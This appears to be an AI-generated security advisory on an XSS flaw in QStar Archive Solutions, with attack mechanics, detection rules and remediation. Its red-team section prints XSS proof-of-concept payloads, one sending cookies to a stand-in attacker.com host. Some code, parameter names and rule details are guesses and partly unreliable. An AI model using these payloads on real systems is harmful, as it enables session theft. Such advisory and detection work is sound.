CVE-2023-51064

Executive Summary

CVE-2023-51064 identifies a DOM-based reflected Cross-Site Scripting (XSS) vulnerability in QStar Archive Solutions, specifically in version RELEASE_3-0 Build 7 Patch 0. The flaw resides in the qnme-ajax?method=tree_table component, allowing an attacker to inject malicious scripts into the DOM of a victim's browser. This can lead to session hijacking, data theft, or further compromise of the archive management interface. No official patch has been released, and the vulnerability is publicly known with a proof of concept available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise archive solution from QStar. The risk is primarily to organizations using this specific version of QStar Archive Solutions in their data storage infrastructure.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the nature of the vulnerability (DOM-based XSS), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – the attack can be launched remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – the victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – the vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – limited data exposure.
• Integrity (I): Low (L) – limited ability to modify data.
• Availability (A): None (N) – no impact on availability.

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction but can lead to significant data leakage within the archive management context.

Deep Dive & Mechanics

The vulnerability is a DOM-based reflected XSS. The qnme-ajax?method=tree_table component processes user input from the URL or POST data and directly injects it into the Document Object Model (DOM) without proper sanitization or encoding. Unlike server-side reflected XSS, the malicious payload is executed entirely on the client side after the page loads.

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload in a parameter (e.g., ?param=<script>alert('XSS')</script>).
2. The victim, authenticated to the QStar Archive Solutions web interface, clicks the link.
3. The server returns a page that includes the qnme-ajax?method=tree_table component.
4. The component's JavaScript reads the malicious parameter from the URL and inserts it into the DOM (e.g., via innerHTML or document.write).
5. The injected script executes in the victim's browser, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// qnme-ajax.js (vulnerable version)
function tree_table() {
    var param = getParameterByName('param');
    document.getElementById('tree-container').innerHTML = param;
}

Patched Code (Conceptual):

// qnme-ajax.js (patched version)
function tree_table() {
    var param = getParameterByName('param');
    var safeParam = document.createTextNode(param);
    document.getElementById('tree-container').appendChild(safeParam);
}

The patched version uses createTextNode to safely encode the input, preventing script execution. Alternatively, proper output encoding (e.g., HTML entity encoding) would also mitigate the issue.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

<!-- Save as poc.html and host on attacker-controlled server -->
<html>
<body>
<script>
var payload = "<script>alert('XSS')</script>";
var url = "http://target-qstar/qnme-ajax?method=tree_table&param=" + encodeURIComponent(payload);
window.open(url);
</script>
</body>
</html>

Advanced Exploit (Session Hijacking):

<script>
var payload = "<img src=x onerror='fetch(\"http://attacker.com/steal?cookie=\"+document.cookie)'>";
var url = "http://target-qstar/qnme-ajax?method=tree_table&param=" + encodeURIComponent(payload);
window.open(url);
</script>

Lab Setup:

1. Deploy QStar Archive Solutions RELEASE_3-0 Build 7 Patch 0 in a controlled environment.
2. Access the web interface and authenticate.
3. Use the PoC above to trigger the XSS.
4. Observe the alert or cookie exfiltration.

Blue Team

Detection:

• Monitor web logs for requests to /qnme-ajax?method=tree_table containing suspicious parameters (e.g., <script>, onerror, onload).
• Use WAF rules to block common XSS payloads in query strings.

Hunting:

• Search for unusual outbound connections from the QStar server to unknown IPs.
• Review browser console logs for script execution errors.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /qnme-ajax?method=tree_table with parameters containing <script>, onerror, onload, or javascript:.
  • Outbound connections to attacker-controlled domains from the QStar server.
• File:
  • Modified JavaScript files in the QStar web directory (e.g., qnme-ajax.js).
• Behavioral:
  • Unexpected pop-ups or alerts in the QStar web interface.
  • Unauthorized changes to archive configurations.

Detection Engineering

YARA Rule

rule CVE_2023_51064_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting QStar Archive Solutions CVE-2023-51064"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-51064"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:\s*/i
        $param = "qnme-ajax?method=tree_table"
    condition:
        any of ($xss*) and $param
}

Sigma Rule

title: QStar Archive Solutions DOM XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS attempts against CVE-2023-51064
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'qnme-ajax?method=tree_table'
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of similar parameters in other applications
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-51064 QStar Archive Solutions DOM XSS Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"qnme-ajax?method=tree_table"; http_uri;
    pcre:"/(<script|onerror|onload|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2023-51064;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the QStar Archive Solutions server from untrusted networks.
2. Implement a Web Application Firewall (WAF) rule to block XSS payloads in the qnme-ajax endpoint.
3. Restrict access to the web interface to trusted IPs only.

Long-term Fix:

• Since no official patch is available, contact QStar support for a hotfix.
• As a workaround, manually patch the qnme-ajax.js file to use safe DOM manipulation methods (e.g., textContent instead of innerHTML).
• Consider migrating to a supported version of the software.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.